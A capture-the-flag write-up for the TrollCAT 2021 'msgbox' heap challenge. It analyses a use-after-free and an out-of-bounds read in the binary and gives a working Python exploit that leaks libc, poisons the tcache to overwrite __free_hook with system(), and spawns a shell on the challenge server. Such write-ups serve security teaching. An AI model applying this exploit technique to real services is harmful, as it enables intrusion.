Tags: uaf pwnscripts __free_hook 

Rating:

# msgbox

More secure than "Whatsapp" ?

`nc 157.230.33.195 2222 `

Flag format : Trollcat{}

**Author : codacker**

**Files**: `msgbox.zip` (`vuln`, `vuln.c`, `libc.so.6`)

```sh
$ checksec msgbox.o # renamed vuln
[*] 'msgbox.o'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ../libc-database/identify msgbox.so.6 # renamed libc.so.6
libc6_2.27-3ubuntu1.4_amd64
```

I use [pwnscripts](https://github.com/152334H/pwnscripts) to finish libc challenges quickly.

## Code parsing

`strings[]` is an array of _strings_ (`char*`) that starts off empty. `sizes[]` is an array keeping track of the lengths of each string. Both are `0x10` large.

### `add()`

* user-provided index; assert on boundaries
* `strings[i] = malloc(<user provided size>)`
* `read(size-1)` to take in input
* `size[i] = size`

### `show()`

* takes user-provided index, **no bounds checking**
* uses `%s` with `printf()`, so possible overprinting due to lack of nul-terminator

### `delete()`

* user-provided index; assert on boundaries
* `free(strings[idx])`. No zeroing out of `strings[idx]`/`sizes[idx]`; **clear UAF / double-free**

### `edit()`

* user-provided index; assert on boundaries
* `read(0, strings[idx], sizes[idx])`. Note that this is 1 larger than what `add()` originally does.

I also prepared a python framework to deal with this challenge:

```python
from pwnscripts import *
context.binary = 'msgbox.o'
context.libc_database = '../libc-database'
context.libc = 'msgbox.so.6'
r = remote('157.230.33.195', 2222)

def add(size: int, idx: int, msg: bytes):
r.sendlineafter('> ', '1')
r.sendlineafter('size: ', str(size))
r.sendlineafter('idx: ', str(idx))
r.sendafter('message: ', msg)
def show(idx: int):
r.sendlineafter('> ', '2')
r.sendlineafter('idx: ', str(idx))
return r.recvline()
def delete(idx: int):
r.sendlineafter('> ', '3')
r.sendlineafter('idx: ', str(idx))
def edit(idx: int, msg: bytes):
r.sendlineafter('> ', '4')
r.sendlineafter('idx: ', str(idx))
r.sendafter('message: ', msg)
```

With that out of the way, what're we going to do?

## how2heap

This challenge doesn't have a single fixed solution; there are _many_ heap-based vulnerabilities present in the source code, and I'll only be using two to get through:

### Arbitrary Relative Dereference

`show()` is the only function that happens to lack bounds checking (i.e. asserting `0<=idx<0x10`), and we can abuse it for an arbitrary read.

Because `show(idx)` will essentially commit `printf("%s", strings[idx])`, we can read any pointer located around the `0x400000-0x600000+` range (so long as it is _actually_ a pointer). Since leaking libc is usually important for a heap challenge, I decided to try finding a _pointer_<sup>1</sup> to a libc location in the binary.

A quick scan in gdb-gef led to results:

`0x0000000000400580│+0x0580: 0x0000000000601ff0 → 0x00007fffff0801f0 → <__libc_start_main+0> push r14`

This corresponds with this section in IDA:

`LOAD:0000000000400580 Elf64_Rela <601FF0h, 800000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main`

This means that `strings[(0x400580-(int)strings)/8]` will be a pointer to libc, and we'll get the libc base with a simple one-liner:

```python
context.libc.symbols['__libc_start_main'] = unpack_bytes(show((0x400580-context.binary.symbols['strings'])//8).split(b'] ')[-1], 6)
```

With libc leaked, all we need to do is to overwrite `__free_hook` to gain arbitrary code execution.

### Use-After-Free

In `delete()`, `strings[idx]` is `free()`d without setting `strings[idx] = 0`. This is dangerous for multiple reasons, but one of the easier things we can do here is to run `edit(idx, writeable_location)` _after_ `delete(idx)`:

```python
SZ = 0x18
add(SZ, 0, b'garbage')
delete(0)
edit(0, pack(context.libc.symbols['__free_hook']))
```

After `delete(0)`, the tcache free list will contain a single saved pointer. `edit()`ing the deleted pointer will add an extra pointer to the free list; I'm editing the string to contain `__free_hook` so that the _next_ allocation will point towards there:

```python
add(SZ, 0, b'/bin/sh;') # this is the original add()'d pointer
add(SZ, 1, pack(context.libc.symbols['system'])) # this allocation is given __free_hook; I overwrite it with system()
delete(0) # __free_hook causes system("/bin/sh")
```

That's it.

## Flag

`Trollcat{h34p_h34p_g0_4w4y}`

1. Note the level of dereferencing here. The GOT table is a list of functions; using `show()` to display pointers on the GOT table would only result in "leaking" assembly code.

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/TrollCAT%202021/msgbox.md).